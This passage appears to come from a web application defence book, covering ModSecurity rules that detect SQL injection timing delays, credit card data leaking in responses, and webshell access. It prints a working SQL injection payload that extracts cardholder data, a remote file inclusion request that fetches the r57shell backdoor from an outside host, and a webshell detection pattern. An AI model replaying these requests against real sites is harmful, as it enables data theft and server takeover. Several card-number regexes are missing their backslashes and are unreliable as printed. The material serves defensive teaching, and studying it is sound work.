Recipe: Invoking rule baa28088; [file "/etc/apache2/modsecurity-crs/
base_rules/modsecurity_crs_61_customrules.conf"] [line "2"] 
[id "999309"].
Rule baa28088: SecAction "phase:2,id:999309,t:none,nolog,pass,
setvar:tx.response_timer_1=%{time_sec}"
Transformation completed in 0 usec.
Executing operator "unconditionalMatch" with param "" against
 REMOTE_ADDR.Target value: "192.168.1.103"
Operator completed in 0 usec.
Setting variable: tx.response_timer_1=%{time_sec}
Resolved macro %{time_sec} to: 12
Set variable "tx.response_timer_1" to "12".
Warning. Unconditional match in SecAction. [file "/etc/apache2/
modsecurity-crs/base_rules/modsecurity_crs_61_customrules.conf"]
 [line "2"] [id "999309"]
Recipe: Invoking rule baa2b478; [file "/etc/apache2/modsecurity-crs/
base_rules/modsecurity_crs_61_customrules.conf"] [line "6"] 
[id "999310"].
Rule baa2b478: SecAction "phase:3,id:999310,t:none,nolog,pass,
setvar:tx.response_timer_2=%{time_sec},setvar:tx.response_timer_2=-%
{tx.response_timer_1}"
Transformation completed in 0 usec.
Executing operator "unconditionalMatch" with param "" against 
REMOTE_ADDR.
Target value: "192.168.1.103"
Operator completed in 0 usec.
Setting variable: tx.response_timer_2=%{time_sec}
Resolved macro %{time_sec} to: 29
Set variable "tx.response_timer_2" to "29".
Setting variable: tx.response_timer_2=-%{tx.response_timer_1}
Recorded original collection variable: tx.response_timer_2 = "29"
Resolved macro %{tx.response_timer_1} to: 12
Relative change: response_timer_2=29-12
Set variable "tx.response_timer_2" to "17".
Warning. Unconditional match in SecAction. [file "/etc/apache2/
modsecurity-crs/base_rules/modsecurity_crs_61_customrules.conf"]
 [line "6"] [id "999310"]
Rule returned 1.
Match -> mode NEXT_RULE.
Recipe: Invoking rule baa2bfa8; [file "/etc/apache2/modsecurity-crs/
base_rules/modsecurity_crs_61_customrules.conf"] [line "8"] 
[id "999311"].
Rule baa2bfa8: SecRule "TX:RESPONSE_TIMER_2" "@ge 5" "phase:3,
id:999311,
t:none,log,block,msg:'Response Latency Threshold Violation.',
logdata:'Latency: %{tx.response_timer_2} secs.'"
Transformation completed in 1 usec.
Executing operator "ge" with param "5" against TX:response_timer_2.
Target value: "17"
Operator completed in 2 usec.
Resolved macro %{tx.response_timer_2} to: 17
Warning. Operator GE matched 5 at TX:response_timer_2. [file "/etc/
apache2/modsecurity-crs/base_rules/modsecurity_crs_61_customrules.
conf"] [line "8"] [id "999311"] [msg "Response Latency Threshold 
Violation."] [data "Latency: 17 secs."]
This setting will not work for every resource, but it is a good starting point. Not only do these rules help you determine when someone successfully executes a waitfor delay command as part of a SQL Injection attack, but it may also help you identify other resources that have some other type of performance problem.


Recipe 6-10: Detecting Sensitive User Data Leakages
This recipe demonstrates how you can figure out when sensitive user data, such as credit card numbers, is present within outbound response data.
Ingredients
  • ModSecurity
    • @verifyCC operator
  • OWASP ModSecurity Core Rule Set
    • modsecurity_crs_25_cc_known.conf
Leakage of sensitive user data, such as credit card numbers, is a serious issue. This may occasionally happen by accident, but it is most often the result of SQL Injection attacks that aim to extract customer purchasing data from previous transactions. Let’s look at an example of a real-life SQL Injection attack targeting an e-commerce web site:
GET /cart/loginexecute.asp?LoginEmail='%20or%201=convert(int,(select
%20top%201%20convert(varchar,isnull(convert(varchar,OR_OrderDate),'N
ULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderID),'N
ULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_FirstName),
'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_LastName)
,'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderAdd
ress),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_Ord
erCity),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_O
rderZip),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_
OrderState),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,
OR_OrderCountry),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(var
char,OR_CCardName),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(v
archar,OR_CCardType),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert
(varchar,OR_CCardNumberenc),'NULL'))%2b'/'%2bconvert(varchar,isnull(
convert(varchar,OR_CCardExpDate),'NULL'))%2b'/'%2bconvert(varchar,is
null(convert(varchar,OR_CCardSecurityCode),'NULL'))%2b'/'%2bconvert(
varchar,isnull(convert(varchar,OR_Email),'NULL'))%2b'/'%2bconvert(va
rchar,isnull(convert(varchar,OR_Phone1),'NULL'))%20from%20Orders%20w
here%20OR_OrderID=47699))--sp_password HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Cookie: ASPSESSIONIDCCQCSRDQ=EHEPIKBBBFLOFIFOBPCJDBGP
Host: www.     .com
X-Forwarded-For: 222.252.135.128
Connection: Keep-Alive
Cache-Control: no-cache, bypass-client=222.252.135.128
ModSecurity captured this data as it passively monitored the web traffic. The bold portions of the SQL payload show that the attacker is extracting specific customer purchase data from the database, including the credit card name, type, number, expiration date, and security code. If ModSecurity had been configured in blocking mode, it would have easily denied this transaction because of the SQL Injection data. However, it was configured in detection-only mode and thus allowed the transaction to continue. Let’s now see the corresponding response body content:
HTTP/1.1 500 Internal Server Error
Content-Length: 573
Content-Type: text/html
Cache-control: private
Connection: close
 
<font face="Arial" size=2>
<p>Microsoft OLE DB Provider for ODBC Drivers</font> <font 
face="Arial" size=2>error '80040e07'</font>
<p>
<font face="Arial" size=2>[Microsoft][ODBC SQL Server Driver][SQL 
Server]Syntax error converting the varchar value 'Feb 13 2007 12:00A
M/47699/John/Doe/123 Bob Brown Dr /Mystic/06355/CT/US/John C Doe/
 /NNNNNNNNNNNNNNNN/03/2008/4692/[email protected]/860.555.7578' to a 
column of data type int.</font>
<p>
<font face="Arial" size=2>/cart/loginexecute.asp</font><font 
face="Arial" size=2>, line 49</font>
As the bold section of text shows, the inbound SQL Injection payload successfully extracted customer data from the back-end database. The actual credit card number was replaced with the NNNNNN... text, and the remainder of the customer record data was modified to hide any specific customer data. Even though the application generated errors, the results of the query were dynamically placed within the SQL error text of the web page.
The OWASP ModSecurity Core Rule Set includes a file called modsecurity_crs_25_cc_known.conf, which inspects the response body content and looks for signs of credit card data being sent to the client. The following rules look for MasterCard, Visa, and American Express credit card numbers:
# MasterCard
SecRule RESPONSE_BODY|RESPONSE_HEADERS:Location "@verifyCC (?:^|[^d
])(?<!google_ad_client = "pub-)(5[1-5]d{2}-?d{4}-?d{2}-?d{2}
-?d{4})(?:[^d]|$)" 
        "chain,logdata:'Start of CC #: %{tx.ccdata_begin}***...',
phase:4,t:none,capture,ctl:auditLogParts=-E,block,msg:'MasterCard 
Credit Card Number sent from site to user',id:'920006',
tag:'WASCTC/5.2',tag:'PCI/3.3',severity:'1'"
        SecRule TX:1 "(d{4}-?d{4}-?d{2}-?d{2}-?d{1,4})" 
"chain,capture,setvar:tx.ccdata=%{tx.1}"
                SecRule TX:CCDATA "^(d{4}-?)" "capture,
setvar:tx.ccdata_begin=%{tx.1},setvar:tx.anomaly_score=+%
{tx.critical_anomaly_score},setvar:tx.%{rule.id}-LEAKAGE/CC-%
{matched_var_name}=%{tx.0}"
 
# Visa
SecRule RESPONSE_BODY|RESPONSE_HEADERS:Location "@verifyCC (?:^|[^d
])(?<!google_ad_client = "pub-)(4d{3}-?d{4}-?d{2}-?d{2}-?d
(?:d{3})??)(?:[^d]|$)" 
        "chain,logdata:'Start of CC #: %{tx.ccdata_begin}***...',
phase:4,t:none,capture,ctl:auditLogParts=-E,block,msg:'Visa Credit 
Card Number sent from site to user',id:'920008',tag:'WASCTC/5.2',
tag:'PCI/3.3',severity:'1'"
        SecRule TX:1 "(d{4}-?d{4}-?d{2}-?d{2}-?d{1,4})" 
"chain,capture,setvar:tx.ccdata=%{tx.1}"
                SecRule TX:CCDATA "^(d{4}-?)" "capture,
setvar:tx.ccdata_begin=%{tx.1},setvar:tx.anomaly_score=+%
{tx.critical_anomaly_score},setvar:tx.%{rule.id}-LEAKAGE/CC-%
{matched_var_name}=%{tx.0}"
 
# American Express
SecRule RESPONSE_BODY|RESPONSE_HEADERS:Location "@verifyCC (?:^|[^d
])(?<!google_ad_client = "pub-)(3[47]d{2}-?d{4}-?d{2}-?d{2}
-?d{3})(?:[^d]|$)" 
        "chain,logdata:'Start of CC #: %{tx.ccdata_begin}***...',
phase:4,t:none,capture,ctl:auditLogParts=-E,block,msg:'American 
Express Credit Card Number sent from site to user',id:'920010',
tag:'WASCTC/5.2',tag:'PCI/3.3',severity:'1'"
        SecRule TX:1
 "(d{4}-?d{4}-?d{2}-?d{2}-?d{1,4})"
 "chain,capture,setvar:tx.ccdata=%{tx.1}"
                SecRule TX:CCDATA "^(d{4}-?)" "capture,
setvar:tx.ccdata_begin=%{tx.1},setvar:tx.anomaly_score=+%
{tx.critical_anomaly_score},setvar:tx.%{rule.id}-LEAKAGE/CC-%
{matched_var_name}=%{tx.0}"
These rules use the @verifyCC ModSecurity operator to inspect the response body content for likely credit card numbers. Then the rules generate an alert and list the first four digits of the credit card number:
[Thu May 10 13:52:47 2012] [error] [client 192.168.1.103] 
ModSecurity: Warning. Pattern match "^(\\d{4}\\-?)" at 
TX:ccdata. [file "/etc/apache2/modsecurity-crs/base_rules/
modsecurity_crs_25_cc_known.conf"] [line "80"] [id "920010"] 
[msg "American Express Credit Card Number sent from site to user"] 
[data "Start of CC #: 3723***..."] [severity "ALERT"]
 [tag "WASCTC/5.2"] [tag "PCI/3.3"] [hostname "www.  .com"]
 [uri "/cart/loginexecute.asp"] [unique_id "T6wAb38AAQEAAEltA7EAAAAB"]

Caution
Identifying Impacted Customers
You should investigate these types of alerts to validate the extent of sensitive customer data that was leaked. If you find that customer records are being exfiltrated from the database, you should review the full response body content captured by ModSecurity’s audit log files so that you may identify potentially impacted customers. This is a critically important process due to various breach notification regulations such as the Payment Card Industry’s (PCI) Digital Security Standard (DSS).


Recipe 6-11: Detecting Trojan, Backdoor, and Webshell Access Attempts
This recipe shows you how to detect when an attacker attempts to access a backdoor or webshell web page.
Ingredients
  • OWASP ModSecurity Core Rule Set
    • modsecurity_crs_45_trojans.conf
Attackers may use a variety of methods to upload a backdoor or webshell program. They can use legitimate file upload functions either at the OS level or within the web application itself, or they can exploit application vulnerabilities. For instance, look at the following attack request:
GET /become_editor.php?theme_path=http://www.univerzum.de/
allnett.jpg?? HTTP/1.1
This is a Remote File Inclusion (RFI) attack that is attempting to exploit a vulnerability within the PHP application to trick it into downloading and executing malicious code from a remote web site. In this case, the allnett.jpg file is actually a well-known backdoor webshell program called r57shell. Figure 6-6 shows a portion of the r57shell interface.

Figure 6-6: r57shell backdoor interface

c06f006.tif
As you can see, these types of programs have a wide range of capabilities, including uploading more content, executing code, and manipulating web page data. The OWASP ModSecurity Core Rule Set comes with a file called modsecurity_crs_45_trojan.conf, which inspects outbound response body data, looking for key values used within these backdoor programs. Here is a sample rule:
SecRule RESPONSE_BODY "(?:<title>[^<]*?(?:(?:(?:c(?:ehennemden|gi-
telnet)|gamma web shell)|imhabirligi phpftp)|(?:r(?:emote explorer
|57shell)|aventis klasvayv|zehir)|.::(?:news remote php shell
 injection::.| rhtools)|ph(?:p(?:(?: commander|-terminal)|
remoteview)|vayv)|myshell)|(?:(?:(?:microsoft windows.{0,10}?
version.{0,20}?(c) copyright 1985-.{0,10}?microsoft corp|ntdad
dy v1.9 - obzerve | fux0r inc).|(?:www.sanalteror.org – indexer
 and read|haxplor)er|php(?:konsole| shell)|c99shell)|aventgrup.<b
r>|drwxr))" 
        "phase:4,rev:'2.2.3',t:none,ctl:auditLogParts=+E,block,
msg:'Backdoor access',id:'950922',tag:'MALICIOUS_SOFTWARE/TROJAN',
tag:'WASCTC/WASC-01',tag:'OWASP_TOP_10/A7',tag:'PCI/5.1.1',
severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.trojan_score=+1,
setvar:tx.anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.%{rule.id}-MALICIOUS_SOFTWARE/TROJAN-%{matched_var_name}=%
{matched_var}"
The following alert would be generated if a client accessed the sample r57shell backdoor shown in Figure 6-6:
[Thu May 10 14:19:27 2012] [error] [client 192.168.1.103] 
ModSecurity: Warning. Pattern match "(?:<title>[^<]*?(?:\\b(?:(?:c
(?:ehennemden|gi-telnet)|gamma web shell)\\b|imhabirligi phpftp)|(
?:r(?:emote explorer|57shell)|aventis klasvayv|zehir)\\b|\\.::(?
:news remote php shell injection::\\.| rhtools\\b)|ph(?:p(?:(?: 
commander|-terminal)\\b|remot ..." at RESPONSE_BODY. 
[file "/etc/apache2/modsecurity-crs/base_rules/
modsecurity_crs_45_trojans.conf"] [line "35"] [id "950922"]
 [rev "2.2.3"] [msg "Backdoor access"] [severity "CRITICAL"]
 [tag "MALICIOUS_SOFTWARE/TROJAN"] [tag "WASCTC/WASC-01"]
 [tag "OWASP_TOP_10/A7"] [tag "PCI/5.1.1"] 
[hostname "glen.alkohol.ee"] [uri "/pld/r57shell.html"] 
[unique_id "T6wGrn8AAQEAAElsBSYAAAAA"]

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.217.220.114